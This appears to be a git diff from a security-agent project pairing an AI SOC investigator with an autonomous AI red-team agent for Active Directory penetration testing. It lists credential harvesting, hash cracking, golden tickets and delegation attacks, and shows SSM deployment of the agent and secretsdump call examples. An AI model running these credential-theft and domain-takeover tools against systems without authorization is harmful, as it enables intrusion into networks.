| - TARGET_IPS=$(aws ec2 describe-instances \ - --profile "{{.PROFILE}}" \ - --region "{{.REGION}}" \ - --filters "Name=instance-state-name,Values=running" \ - --query 'Reservations[*].Instances[?contains(Tags[?Key==`Name`].Value|[0], `{{.TARGET_FILTER}}`)].PrivateIpAddress' \ - --output text | tr '\n' ' ' | sed 's/[[:space:]]*$//') - - if [ -z "$TARGET_IPS" ]; then - echo "Error: No running instances found matching filter: {{.TARGET_FILTER}}" - exit 1 - fi - - PRIMARY_TARGET=$(echo "$TARGET_IPS" | awk '{print $1}') - echo "Target: $PRIMARY_TARGET" - - SSM_INSTANCE_ID=$(aws ec2 describe-instances \ - --profile "{{.PROFILE}}" \ - --region "{{.REGION}}" \ - --filters "Name=tag:Name,Values={{.KALI}}" "Name=instance-state-name,Values=running" \ - --query 'Reservations[0].Instances[0].InstanceId' \ - --output text) - - if [ "$SSM_INSTANCE_ID" == "None" ] || [ -z "$SSM_INSTANCE_ID" ]; then - echo "Error: Kali instance not found or not running" - exit 1 - fi - - echo "Kali instance: $SSM_INSTANCE_ID" - - OPENAI_API_KEY=$(op item get "Openai" --fields dreadnode-api-key --reveal 2>/dev/null) - ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null) - DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal 2>/dev/null || echo "") - - ARES_DIR="$(pwd)" - TIMESTAMP=$(date +%s) - TARBALL="ares-redteam-${TIMESTAMP}.tar.gz" - - cd "$(dirname "$ARES_DIR")" - tar -czf "/tmp/${TARBALL}" \ - --exclude='.venv' \ - --exclude='venv' \ - --exclude='*.pyc' \ - --exclude='__pycache__' \ - --exclude='.git' \ - "$(basename "$ARES_DIR")" - - aws s3 cp "/tmp/${TARBALL}" "s3://{{.BUCKET}}/${TARBALL}" --profile "{{.PROFILE}}" --region "{{.REGION}}" - - REMOTE_SCRIPT="#!/bin/bash - set -e - cd /tmp - aws s3 cp s3://{{.BUCKET}}/${TARBALL} . --region {{.REGION}} - tar -xzf ${TARBALL} - cd /tmp/$(basename "$ARES_DIR") - python3 -m pip install --break-system-packages -q uv - python3 -m uv sync --no-dev - - export OPENAI_API_KEY='${OPENAI_API_KEY}' - export ANTHROPIC_API_KEY='${ANTHROPIC_API_KEY}' - export DREADNODE_API_KEY='${DREADNODE_API_KEY}' - export DREADNODE_SERVER='{{.DREADNODE_SERVER}}' - export DREADNODE_ORGANIZATION='{{.DREADNODE_ORGANIZATION}}' - export DREADNODE_WORKSPACE='{{.DREADNODE_WORKSPACE}}' - export DREADNODE_PROJECT='{{.REDTEAM_PROJECT}}' - - uv run python -m ares red-team ${PRIMARY_TARGET} \ - --args.model {{.MODEL}} \ - --args.max-steps {{.MAX_STEPS}} \ - --dn-args.server '{{.DREADNODE_SERVER}}' \ - --dn-args.token '${DREADNODE_API_KEY}' \ - --dn-args.organization '{{.DREADNODE_ORGANIZATION}}' \ - --dn-args.workspace '{{.DREADNODE_WORKSPACE}}' \ - --dn-args.project '{{.REDTEAM_PROJECT}}' \ - 2>&1 | tee /tmp/ares-redteam-output.log - " - - COMMAND_ID=$(aws ssm send-command \ - --profile "{{.PROFILE}}" \ - --region "{{.REGION}}" \ - --instance-ids "$SSM_INSTANCE_ID" \ - --document-name "AWS-RunShellScript" \ - --parameters "commands=[\"${REMOTE_SCRIPT}\"]" \ - --timeout-seconds 7200 \ - --comment "Ares red team - {{.TARGET_FILTER}} - $TIMESTAMP" \ - --query 'Command.CommandId' \ - --output text) - - echo "Command ID: $COMMAND_ID" - echo "" - echo "Monitor: task ares:red:logs KALI={{.KALI}}" - echo "Cleanup: aws s3 rm s3://{{.BUCKET}}/${TARBALL} --profile {{.PROFILE}} --region {{.REGION}}" - ares:red:logs: desc: "Tail red team agent logs from Kali via SSM (usage: task ares:red:logs [KALI=instance-name] [LINES=100] [FOLLOW=true])" vars: diff --git a/docs/index.md b/docs/index.md index 821f0dcc..abae72f4 100644 --- a/docs/index.md +++ b/docs/index.md @@ -1,31 +1,53 @@ # Ares Documentation Welcome to the Ares documentation. -Ares is an autonomous Security Operations Center (SOC) investigation agent. +Ares is an autonomous security operations agent with dual capabilities: +**Blue Team** (SOC investigation) and **Red Team** (penetration testing). ## Quick Links - [Project README](../README.md) +- [Taskfile Usage Guide](taskfile_usage.md) +- [Grafana MCP Integration](grafana_mcp_usage.md) +- [Prompt Templates](prompt_templates.md) - [Contributing Guide](contributing.md) - [Security Policy](../SECURITY.md) -- [Changelog](../CHANGELOG.md) ## Overview -Ares transforms security alerts into actionable threat intelligence through -autonomous, question-driven investigations. -Built with the Dreadnode Agent SDK, it systematically analyzes security events -using MITRE ATT&CK framework and the Pyramid of Pain methodology. +Ares provides autonomous security operations through two specialized agents: + +**Blue Team Agent** - Transforms security alerts into actionable threat +intelligence through question-driven investigations. Uses MITRE ATT&CK +framework and Pyramid of Pain methodology. + +**Red Team Agent** - Autonomous penetration testing for Active Directory +environments. Systematically enumerates, harvests credentials, and attempts +domain admin access. + +Built with the [Dreadnode Agent SDK](https://github.com/dreadnode/agent-sdk). ## Key Capabilities -- Autonomous alert investigation +### Blue Team (SOC Investigation) + +- Autonomous Grafana alert investigation - MITRE ATT&CK technique mapping - Pyramid of Pain-based analysis elevation -- Multi-stage investigation workflow -- Integration with Grafana, Loki, and Prometheus +- Multi-stage investigation workflow (Triage, Causation, Lateral, Synthesis) +- Integration with Grafana, Loki, and Prometheus via MCP - Comprehensive markdown reporting +### Red Team (Penetration Testing) + +- Active Directory enumeration (hosts, users, shares) +- Credential harvesting (secretsdump, kerberoasting, AS-REP roasting) +- Password hash cracking (hashcat, John the Ripper) +- BloodHound integration for ACL abuse paths +- ADCS exploitation (ESC1-15 vulnerabilities) +- Golden ticket generation +- Delegation attacks (RBCD, unconstrained, constrained) + ## Getting Started See the [README](../README.md) for installation instructions and usage @@ -35,11 +57,26 @@ examples. ```text ares/ -ā”œā”€ā”€ src/ares/ # Main source code -ā”œā”€ā”€ tests/ # Test suite -ā”œā”€ā”€ docs/ # Documentation -ā”œā”€ā”€ reports/ # Generated investigation reports -└── pyproject.toml # Project configuration +ā”œā”€ā”€ src/ares/ # Main package +│ ā”œā”€ā”€ agents/ # Agent orchestrators +│ │ ā”œā”€ā”€ blue/ # SOC investigation agent +│ │ └── red/ # Penetration testing agent +│ ā”œā”€ā”€ core/ # Core models and engines +│ │ └── factories/ # Agent factories +│ ā”œā”€ā”€ integrations/ # External integrations (MITRE) +│ ā”œā”€ā”€ reports/ # Report generators +│ └── tools/ # Agent toolsets +│ ā”œā”€ā”€ blue/ # Blue team tools +│ ā”œā”€ā”€ red/ # Red team tools +│ └── shared/ # Shared tools (MITRE) +ā”œā”€ā”€ templates/ # Jinja2 prompt templates +│ ā”œā”€ā”€ agent/ # Blue team agent templates +│ ā”œā”€ā”€ engines/ # Question engine templates +│ ā”œā”€ā”€ redteam/ # Red team agent templates +│ └── reports/ # Report templates +ā”œā”€ā”€ tests/ # Test suite +ā”œā”€ā”€ docs/ # Documentation +└── reports/ # Generated reports ``` ## Development diff --git a/docs/prompt_templates.md b/docs/prompt_templates.md index 8950b93b..4d202463 100644 --- a/docs/prompt_templates.md +++ b/docs/prompt_templates.md @@ -6,7 +6,7 @@ API costs, and team collaboration. ## Quick Start ```python -from src.templates import get_template_loader +from ares.core.templates import get_template_loader loader = get_template_loader() result = loader.render( @@ -36,16 +36,19 @@ result = loader.render( | Category | Purpose | Status | | -------- | ------- | ------ | -| `agent/` | System instructions & alert prompts | āœ… Complete | -| `engines/` | Question generation templates | āœ… Complete | +| `agent/` | Blue team system instructions & alert prompts | āœ… Complete | +| `engines/` | Question generation & attack chain templates | āœ… Complete | | `tools/` | Investigation query suggestions | āœ… Complete | | `reports/` | Report section templates | āš ļø Partial | +| `redteam/` | Red team agent templates | āœ… Complete | ## API Reference ### List Templates ```python +from ares.core.templates import get_template_loader + loader = get_template_loader() templates = loader.list_templates() ``` @@ -117,7 +120,7 @@ the questions. ## Testing ```python -from src.templates import get_template_loader +from ares.core.templates import get_template_loader loader = get_template_loader() @@ -133,11 +136,14 @@ except Exception as e: | File | Status | Notes | | ---- | ------ | ----- | -| `src/agent.py` | āœ… Complete | Uses template loader | -| `src/core/create.py` | āœ… Complete | System instructions from template | -| `src/engines.py` | āœ… Complete | All questions templated | -| `src/tools/investigation.py` | āœ… Complete | Query suggestions templated | -| `src/report.py` | āš ļø Partial | Templates exist, integration incomplete | +| `src/ares/agents/blue/soc_investigator.py` | āœ… Complete | Uses template loader | +| `src/ares/agents/red/pentester.py` | āœ… Complete | Uses template loader | +| `src/ares/core/factories/blue_factory.py` | āœ… Complete | System instructions from template | +| `src/ares/core/factories/red_factory.py` | āœ… Complete | System instructions from template | +| `src/ares/core/engines.py` | āœ… Complete | All questions templated | +| `src/ares/tools/blue/investigation.py` | āœ… Complete | Query suggestions templated | +| `src/ares/reports/investigation.py` | āš ļø Partial | Templates exist, integration incomplete | +| `src/ares/reports/redteam.py` | āœ… Complete | Red team reports templated | ## Troubleshooting diff --git a/docs/taskfile_usage.md b/docs/taskfile_usage.md index 469603c9..9e5bf841 100644 --- a/docs/taskfile_usage.md +++ b/docs/taskfile_usage.md @@ -1,7 +1,7 @@ # Taskfile Usage for Ares -This document describes how to use the Taskfile to run and manage the Ares SOC -Investigation Agent. +This document describes how to use the Taskfile to run and manage the Ares +security agents (Blue Team SOC and Red Team penetration testing). ## Prerequisites @@ -36,57 +36,65 @@ This will check: ### 3. Run Ares -Start Ares in poll mode (automatically polls Grafana for alerts): +Start the Blue Team agent in poll mode (automatically polls Grafana for alerts): ```bash -task ares:run +task ares:blue: +``` + +Or run the Red Team agent against a target: + +```bash +# Discover target via AWS EC2 Name tag filter +task -y ares:red TARGET=dreadgoad + +# Or use a direct IP address +task ares:red: TARGET=192.168.1.100 ``` This will: 1. Retrieve API keys from 1Password: - `Dreadnode Dev Platform` → `api-key` field - - `Grafana` → `api-key` field - - `Anthropic` → `api-key` field -2. Start Ares with the configured platform (https://platform.dev.plundr.ai/) -3. Poll for alerts every 30 seconds (configurable) + - `Ares Grafana MCP` → `grafana-token` field (blue team only) + - `claude.ai` → `dreadnode-api-key` field +2. Start the agent with the configured platform (https://platform.dev.plundr.ai/) ## Available Tasks -### Running Ares +### Blue Team Tasks -#### `task ares:run` +#### `task ares:blue:` -Run Ares in poll mode with 1Password API keys. +Run Blue Team agent in poll mode with 1Password API keys. **Example:** ```bash # Use default configuration -task ares:run +task ares:blue: # Custom Grafana URL -task ares:run GRAFANA_URL=http://grafana.example.com:3000 +task ares:blue: GRAFANA_URL=http://grafana.example.com:3000 # Custom model -task ares:run MODEL=gpt-4o +task ares:blue: MODEL=gpt-4o # Custom poll interval (60 seconds) -task ares:run POLL_INTERVAL=60 - -# Multiple overrides -task ares:run \ - GRAFANA_URL=http://grafana.example.com:3000 \ - LOKI_URL=http://loki.example.com:3100 \ - MODEL=claude-sonnet-4-20250514 \ - POLL_INTERVAL=60 +task ares:blue: POLL_INTERVAL=60 ``` -#### `task ares:run:local` +#### `task ares:blue:once:` -Run Ares using `.env` file instead of 1Password. +Run Blue Team agent once and exit (processes current alerts only). -**Example:** +```bash +task ares:blue:once: +``` + +#### `task ares:blue:local:` + +Run Blue Team using `.env` file instead of 1Password. ```bash # Create .env file first @@ -94,7 +102,55 @@ cp .env.example .env # Edit .env with your API keys # Run with .env -task ares:run:local +task ares:blue:local: +``` + +### Red Team Tasks + +#### `task ares:red TARGET=` + +Run Red Team agent with automatic EC2 target discovery. + +**How Target Discovery Works:** + +When you provide a non-IP target (like `dreadgoad`), the task queries AWS EC2 to +find running instances where the Name tag contains your filter string: + +```bash +aws ec2 describe-instances \ + --filters "Name=instance-state-name,Values=running" \ + --query "Reservations[*].Instances[?contains(Tags[?Key=='Name'].Value|[0], 'TARGET')].PrivateIpAddress" +``` + +The first matching instance's private IP is used as the target. + +**Example:** + +```bash +# EC2 target discovery - finds instances with "dreadgoad" in Name tag +task -y ares:red TARGET=dreadgoad + +# Custom model and max steps +task -y ares:red TARGET=dreadgoad MODEL=claude-sonnet-4-20250514 MAX_STEPS=300 + +# Custom AWS profile and region +task -y ares:red TARGET=dreadgoad PROFILE=production REGION=us-east-1 +``` + +#### `task ares:red: TARGET=` + +Run Red Team agent against a direct IP address (bypasses EC2 discovery). + +```bash +task ares:red: TARGET=192.168.1.100 +``` + +#### `task ares:red:local: TARGET=` + +Run Red Team using `.env` file instead of 1Password. + +```bash +task ares:red:local: TARGET=192.168.1.100 ``` #### `task ares:investigate` @@ -279,12 +335,12 @@ Ares expects the following items in 1Password: - Field: `api-key` - Used for: Platform observability and tracing -2. **Grafana** (Optional, can use GRAFANA_API_KEY env var) - - Field: `api-key` - - Used for: Alert polling and dashboard access +2. **Ares Grafana MCP** (Required for Blue Team) + - Field: `grafana-token` + - Used for: Alert polling and Loki/Prometheus queries -3. **Anthropic** (Optional, can use ANTHROPIC_API_KEY env var) - - Field: `api-key` +3. **claude.ai** (Required) + - Field: `dreadnode-api-key` - Used for: Claude model inference ### Creating 1Password Items @@ -301,14 +357,14 @@ op item create \ # Create Grafana item op item create \ --category="API Credential" \ - --title="Grafana" \ - api-key="your-grafana-api-key" + --title="Ares Grafana MCP" \ + grafana-token="your-grafana-token" # Create Anthropic item op item create \ --category="API Credential" \ - --title="Anthropic" \ - api-key="your-anthropic-api-key" + --title="claude.ai" \ + dreadnode-api-key="your-anthropic-api-key" ``` ### Verifying 1Password Access @@ -320,15 +376,15 @@ Test that you can retrieve the API keys: op item get "Dreadnode Dev Platform" --fields api-key --reveal # Test Grafana key -op item get "Grafana" --fields api-key --reveal +op item get "Ares Grafana MCP" --fields grafana-token --reveal # Test Anthropic key -op item get "Anthropic" --fields api-key --reveal +op item get "claude.ai" --fields dreadnode-api-key --reveal ``` ## Common Workflows -### Development Workflow +### Blue Team Development Workflow ```bash # 1. Check configuration @@ -337,8 +393,8 @@ task ares:config:check # 2. Test MITRE data loading task ares:mitre:test -# 3. Run Ares in poll mode -task ares:run +# 3. Run Blue Team agent in poll mode +task ares:blue: # 4. In another terminal, check reports task ares:reports:list @@ -347,14 +403,12 @@ task ares:reports:list task ares:reports:latest ``` -### Production Workflow +### Blue Team Production Workflow ```bash # Run with production configuration -task ares:run \ +task ares:blue: \ GRAFANA_URL=http://grafana.prod.example.com:3000 \ - LOKI_URL=http://loki.prod.example.com:3100 \ - PROMETHEUS_URL=http://prometheus.prod.example.com:9090 \ DREADNODE_PROJECT=ares-prod \ POLL_INTERVAL=60 ``` @@ -380,6 +434,19 @@ task ares:investigate ALERT=suspicious-activity.json task ares:reports:latest ``` +### Red Team Workflow + +```bash +# 1. Run red team agent (discovers target via EC2 Name tag) +task -y ares:red TARGET=dreadgoad + +# Or target a specific IP directly +task ares:red: TARGET=192.168.1.100 + +# 2. Monitor progress (reports generated on completion) +task ares:reports:latest +``` + ## Troubleshooting ### 1Password CLI Not Found diff --git a/pyproject.toml b/pyproject.toml index dc4df9df..2db34b49 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -89,7 +89,7 @@ python_version = "3.10" exclude = ["tests", ".hooks", "scripts"] [[tool.mypy.overrides]] -module = ["src.*"] +module = ["ares.*"] disable_error_code = [ "unused-ignore", "import-untyped", @@ -101,6 +101,9 @@ disable_error_code = [ "attr-defined", "call-arg", "list-item", + "misc", + "valid-type", + "untyped-decorator", ] [tool.pyright] @@ -114,7 +117,13 @@ exclude = [".hooks", "tests"] [tool.bandit] exclude_dirs = ["tests"] -skips = ["B101"] +skips = [ + "B101", # assert_used + "B603", # subprocess_without_shell_equals_true (intentional for pentesting tools) + "B404", # import_subprocess (required for pentesting) + "B110", # try_except_pass (acceptable in cleanup code) + "B107", # hardcoded_password_default (false positives on empty string defaults) +] [tool.coverage.run] branch = true @@ -160,6 +169,21 @@ ignore = [ "TRY300", # consider moving to else block - often less readable "BLE001", # blind exception catching - acceptable in top-level handlers "PLR0915", # too many statements - acceptable for main functions + "G004", # f-strings in logging - we use loguru, not stdlib logging + "TRY400", # logging.exception vs logging.error - we use loguru + "PLR0911", # too many return statements - acceptable for tool methods + "ARG001", # unused function argument - tools API requires specific signatures + "ARG002", # unused method argument - tools API requires specific signatures + "PLW0603", # global statement - acceptable for module-level caching + "SLF001", # private member access - intentional for internal APIs + "SIM105", # contextlib.suppress - style preference + "S110", # try-except-pass - acceptable in cleanup code + "PTH108", # os.unlink vs Path.unlink - compatibility + "PTH110", # os.path.exists vs Path.exists - compatibility + "PTH123", # open() vs Path.open() - style preference + "RUF005", # list concatenation - style preference + "FBT001", # boolean positional argument - acceptable for tool methods + "FBT002", # boolean default positional argument - acceptable for tool methods ] [tool.ruff.format] diff --git a/src/ares/__init__.py b/src/ares/__init__.py index 14c96527..76b7389a 100644 --- a/src/ares/__init__.py +++ b/src/ares/__init__.py @@ -7,15 +7,20 @@ __version__ = "0.1.0" from ares.agents import InvestigationOrchestrator, RedTeamOrchestrator -from ares.core import InvestigationState, RedTeamState, create_investigation_agent, create_redteam_agent +from ares.core import ( + InvestigationState, + RedTeamState, + create_investigation_agent, + create_redteam_agent, +) from ares.integrations import MITREAttackClient __all__ = [ "InvestigationOrchestrator", - "RedTeamOrchestrator", "InvestigationState", - "RedTeamState", "MITREAttackClient", + "RedTeamOrchestrator", + "RedTeamState", "create_investigation_agent", "create_redteam_agent", ] diff --git a/src/ares/agents/blue/soc_investigator.py b/src/ares/agents/blue/soc_investigator.py index 68a51112..6a4e3f16 100644 --- a/src/ares/agents/blue/soc_investigator.py +++ b/src/ares/agents/blue/soc_investigator.py @@ -12,9 +12,9 @@ from loguru import logger from ares.core.factories.blue_factory import create_investigation_agent -from ares.integrations.mitre import MITREAttackClient from ares.core.models import InvestigationState from ares.core.templates import get_template_loader +from ares.integrations.mitre import MITREAttackClient def build_initial_prompt(alert: dict) -> str: @@ -67,8 +67,12 @@ def build_initial_prompt(alert: dict) -> str: labels=labels, mitre_technique=mitre_technique, current_time=current_time.isoformat().replace("+00:00", "Z"), - current_time_minus_1h=(current_time - timedelta(hours=1)).isoformat().replace("+00:00", "Z"), - current_time_minus_2h=(current_time - timedelta(hours=2)).isoformat().replace("+00:00", "Z"), + current_time_minus_1h=(current_time - timedelta(hours=1)) + .isoformat() + .replace("+00:00", "Z"), + current_time_minus_2h=(current_time - timedelta(hours=2)) + .isoformat() + .replace("+00:00", "Z"), ) @@ -174,11 +178,11 @@ async def investigate(self, alert: dict) -> dict: labels = alert.get("labels", {}) annotations = alert.get("annotations", {}) for key in ["mitre_technique", "mitre", "technique_id", "technique"]: - if key in labels and labels[key]: + if labels.get(key): state.identified_techniques.add(labels[key]) logger.info(f"Auto-recorded MITRE technique from alert: {labels[key]}") break - if key in annotations and annotations[key]: + if annotations.get(key): state.identified_techniques.add(annotations[key]) logger.info(f"Auto-recorded MITRE technique from alert: {annotations[key]}") break diff --git a/src/ares/agents/red/pentester.py b/src/ares/agents/red/pentester.py index d9d7a265..d976f3f1 100644 --- a/src/ares/agents/red/pentester.py +++ b/src/ares/agents/red/pentester.py @@ -11,10 +11,10 @@ from loguru import logger from ares.core.factories.red_factory import create_redteam_agent -from ares.integrations.mitre import MITREAttackClient from ares.core.models import RedTeamState, Target -from ares.reports.redteam import RedTeamReportGenerator from ares.core.templates import get_template_loader +from ares.integrations.mitre import MITREAttackClient +from ares.reports.redteam import RedTeamReportGenerator def build_initial_task(target_ip: str) -> str: diff --git a/src/ares/core/__init__.py b/src/ares/core/__init__.py index c28a597c..48335867 100644 --- a/src/ares/core/__init__.py +++ b/src/ares/core/__init__.py @@ -5,9 +5,9 @@ from ares.core.templates import get_template_loader __all__ = [ - "create_investigation_agent", - "create_redteam_agent", "InvestigationState", "RedTeamState", + "create_investigation_agent", + "create_redteam_agent", "get_template_loader", ] diff --git a/src/ares/core/factories/blue_factory.py b/src/ares/core/factories/blue_factory.py index af5e278f..39022545 100644 --- a/src/ares/core/factories/blue_factory.py +++ b/src/ares/core/factories/blue_factory.py @@ -8,14 +8,13 @@ from dreadnode.agent.thread import Thread from loguru import logger -from ares.integrations.mitre import MITREAttackClient from ares.core.models import InvestigationState from ares.core.templates import get_template_loader +from ares.integrations.mitre import MITREAttackClient from ares.tools.blue import ( CompletionTools, GrafanaTools, InvestigationTools, - LokiTools, QuestionEngineTools, escalate_investigation, ) @@ -46,8 +45,12 @@ async def log_tool_usage(event: ToolStart): if len(_consecutive_queries) >= 3 and all( "query_loki" in t or "query_prometheus" in t for t in _consecutive_queries[-3:] ): - logger.warning("āš ļø DETECTED QUERY LOOP: 3+ consecutive queries without recording evidence") - logger.warning("Agent should call record_evidence() or get_combined_questions() next") + logger.warning( + "āš ļø DETECTED QUERY LOOP: 3+ consecutive queries without recording evidence" + ) + logger.warning( + "Agent should call record_evidence() or get_combined_questions() next" + ) elif "record_evidence" in tool_name or "get_combined_questions" in tool_name: # Reset counter when workflow tools are called _consecutive_queries.clear() diff --git a/src/ares/core/factories/red_factory.py b/src/ares/core/factories/red_factory.py index 3f2b1818..483bb3ae 100644 --- a/src/ares/core/factories/red_factory.py +++ b/src/ares/core/factories/red_factory.py @@ -16,9 +16,9 @@ from dreadnode.agent.thread import Thread from loguru import logger -from ares.integrations.mitre import MITREAttackClient from ares.core.models import RedTeamState from ares.core.templates import get_template_loader +from ares.integrations.mitre import MITREAttackClient from ares.tools.red.network import ( BloodHoundTools, CertipyTools, diff --git a/src/ares/core/templates.py b/src/ares/core/templates.py index 39fb8180..a5ed7ddd 100644 --- a/src/ares/core/templates.py +++ b/src/ares/core/templates.py @@ -116,7 +116,7 @@ def get_template_loader() -> TemplateLoader: >>> loader = get_template_loader() >>> prompt = loader.render("agent/initial_alert_prompt.md.jinja", ...) """ - global _loader # noqa: PLW0603 + global _loader if _loader is None: _loader = TemplateLoader() return _loader diff --git a/src/ares/main.py b/src/ares/main.py index f76ee2f3..b5071740 100644 --- a/src/ares/main.py +++ b/src/ares/main.py @@ -121,8 +121,8 @@ async def main( mitre_client = MITREAttackClient() await mitre_client.load() # Accessing protected members for logging/diagnostics only - not modifying internal state - techniques_count = len(mitre_client._techniques) # noqa: SLF001 - tactics_count = len(mitre_client._tactics) # noqa: SLF001 + techniques_count = len(mitre_client._techniques) + tactics_count = len(mitre_client._tactics) logger.success(f"Loaded {techniques_count} techniques, {tactics_count} tactics") report_dir = Path(args.report_dir).resolve() @@ -348,16 +348,16 @@ async def redteam( logger.info(f"Report Dir: {args.report_dir}") logger.info("=" * 60) - from ares.integrations.mitre import MITREAttackClient from ares.agents.red import RedTeamOrchestrator + from ares.integrations.mitre import MITREAttackClient # Load MITRE data logger.info("Loading MITRE ATT&CK data...") mitre_client = MITREAttackClient() await mitre_client.load() # Accessing protected members for logging/diagnostics only - not modifying internal state - techniques_count = len(mitre_client._techniques) # noqa: SLF001 - tactics_count = len(mitre_client._tactics) # noqa: SLF001 + techniques_count = len(mitre_client._techniques) + tactics_count = len(mitre_client._tactics) logger.success(f"Loaded {techniques_count} techniques, {tactics_count} tactics") report_dir = Path(args.report_dir).resolve() diff --git a/src/ares/tools/blue/actions.py b/src/ares/tools/blue/actions.py index 75c3363a..c9ff3711 100644 --- a/src/ares/tools/blue/actions.py +++ b/src/ares/tools/blue/actions.py @@ -6,7 +6,7 @@ from dreadnode.agent.tools.base import Toolset from loguru import logger -from ares.core.models import InvestigationStage, InvestigationState +from ares.core.models import InvestigationState class CompletionTools(Toolset): # type: ignore[misc] diff --git a/src/ares/tools/blue/grafana.py b/src/ares/tools/blue/grafana.py index aa54f517..bde0bee1 100644 --- a/src/ares/tools/blue/grafana.py +++ b/src/ares/tools/blue/grafana.py @@ -52,10 +52,9 @@ async def get_firing_alerts(self) -> list[dict]: if response.status_code == 200: logger.info(f"Successfully connected to Grafana alerts at {endpoint}") return response.json() - elif response.status_code == 404: + if response.status_code == 404: continue # Try next endpoint - else: - response.raise_for_status() + response.raise_for_status() except httpx.HTTPError as e: if "404" not in str(e): diff --git a/src/ares/tools/blue/investigation.py b/src/ares/tools/blue/investigation.py index 606c6fdb..187ed394 100644 --- a/src/ares/tools/blue/investigation.py +++ b/src/ares/tools/blue/investigation.py @@ -7,10 +7,21 @@ from dreadnode.agent.tools.base import Toolset from loguru import logger -from ares.core.engines import MITRENavigator, PyramidClimber, _load_attack_chains, _load_detection_recipes -from ares.integrations.mitre import MITREAttackClient -from ares.core.models import Evidence, InvestigationStage, InvestigationState, PyramidLevel, TimelineEvent +from ares.core.engines import ( + MITRENavigator, + PyramidClimber, + _load_attack_chains, + _load_detection_recipes, +) +from ares.core.models import ( + Evidence, + InvestigationStage, + InvestigationState, + PyramidLevel, + TimelineEvent, +) from ares.core.templates import get_template_loader +from ares.integrations.mitre import MITREAttackClient class InvestigationTools(Toolset): # type: ignore[misc] @@ -439,7 +450,7 @@ def get_attack_chain_precursors(self, technique_id: str) -> dict: return { "technique": technique_id, "message": "No attack chain data available for this technique", - "suggestion": "Check related techniques or parent techniques" + "suggestion": "Check related techniques or parent techniques", } chain_data = attack_chains[technique_id] @@ -490,11 +501,8 @@ def get_detection_recipe(self, recipe_name: str) -> dict: recipes = _load_detection_recipes() if recipe_name not in recipes: - available = [k for k in recipes.keys() if not k.startswith("query_")] - return { - "error": f"Recipe '{recipe_name}' not found", - "available_recipes": available - } + available = [k for k in recipes if not k.startswith("query_")] + return {"error": f"Recipe '{recipe_name}' not found", "available_recipes": available} recipe = recipes[recipe_name] return { @@ -525,11 +533,16 @@ def list_detection_recipes(self) -> list[dict]: if key.startswith("query_"): continue # Skip query template section if isinstance(value, dict): - result.append({ - "recipe_name": key, - "name": value.get("name", key), - "mitre_technique": value.get("mitre_technique") or value.get("mitre_techniques"), - "description": value.get("description", "")[:100] + "..." if value.get("description") else "", - }) + result.append( + { + "recipe_name": key, + "name": value.get("name", key), + "mitre_technique": value.get("mitre_technique") + or value.get("mitre_techniques"), + "description": value.get("description", "")[:100] + "..." + if value.get("description") + else "", + } + ) return result diff --git a/src/ares/tools/blue/observability.py b/src/ares/tools/blue/observability.py index 24043ef7..8c405ddf 100644 --- a/src/ares/tools/blue/observability.py +++ b/src/ares/tools/blue/observability.py @@ -81,7 +81,7 @@ async def query_logs( return { "status": "error", "error": "Query contains empty-compatible regex '.*'. Use '.+' instead to require at least one character, or use specific label values.", - "suggestion": "Replace =~\".*\" with =~\".+\" or use exact matches like job=\"varlog\"", + "suggestion": 'Replace =~".*" with =~".+" or use exact matches like job="varlog"', } dn.log_metric("loki_queries", 1, mode="count") @@ -195,7 +195,9 @@ async def query_logs_progressive( result["_window_expanded"] = window_mins > 30 result["_search_start"] = start result["_search_end"] = end - logger.info(f"Progressive query: found {total_entries} entries in ±{window_mins}min window") + logger.info( + f"Progressive query: found {total_entries} entries in ±{window_mins}min window" + ) return result # No results in any window diff --git a/src/ares/tools/red/__init__.py b/src/ares/tools/red/__init__.py index 17bb258a..4faf3faf 100644 --- a/src/ares/tools/red/__init__.py +++ b/src/ares/tools/red/__init__.py @@ -1,8 +1,8 @@ """Red team penetration testing tools.""" from ares.tools.red.network import ( - CredentialHarvestingTools, CrackingTools, + CredentialHarvestingTools, GoldenTicketTools, NetworkEnumerationTools, RedTeamReportingTools, @@ -10,8 +10,8 @@ ) __all__ = [ - "CredentialHarvestingTools", "CrackingTools", + "CredentialHarvestingTools", "GoldenTicketTools", "NetworkEnumerationTools", "RedTeamReportingTools", diff --git a/src/ares/tools/red/network.py b/src/ares/tools/red/network.py index 25a55316..af318b19 100644 --- a/src/ares/tools/red/network.py +++ b/src/ares/tools/red/network.py @@ -217,7 +217,7 @@ def secretsdump( Extracted credentials including NTLM hashes, Kerberos keys, and secrets Example: - >>> secretsdump("192.168.1.100", "Administrator", password="P@ssw0rd") + >>> secretsdump("192.168.1.100", "Administrator", password="P@ssw0rd") # pragma: allowlist secret >>> secretsdump("192.168.1.100", "Administrator", hash="aad3b4...", domain="DOMAIN") >>> secretsdump("domain.local", "Administrator", no_pass=True) # golden ticket """ @@ -380,7 +380,7 @@ def domain_admin_checker( Results showing which targets the account has admin access on Example: - >>> domain_admin_checker("192.168.1.100 192.168.1.101", "Administrator", password="P@ss") + >>> domain_admin_checker("192.168.1.100 192.168.1.101", "Administrator", password="P@ss") # pragma: allowlist secret >>> domain_admin_checker("192.168.1.100 192.168.1.101", "Administrator", hash="aad3b4...") """ try: @@ -477,7 +477,7 @@ def crack_with_hashcat( "--force", ] - result = subprocess.run( + _result = subprocess.run( cmd, check=False, capture_output=True, @@ -1361,7 +1361,7 @@ def record_finding( Example: >>> record_finding("credential", { ... "username": "administrator", - ... "password": "P@ssw0rd", + ... "password": "P@ssw0rd", # pragma: allowlist secret ... "domain": "EXAMPLE", ... "source": "secretsdump", ... "is_admin": True diff --git a/templates/engines/detection_recipes.yaml b/templates/engines/detection_recipes.yaml index ec071767..7f189ad2 100644 --- a/templates/engines/detection_recipes.yaml +++ b/templates/engines/detection_recipes.yaml @@ -1,3 +1,4 @@ +--- # Detection Recipes for Windows Security Events # These recipes define specific patterns for detecting attack techniques # in Windows Security Event logs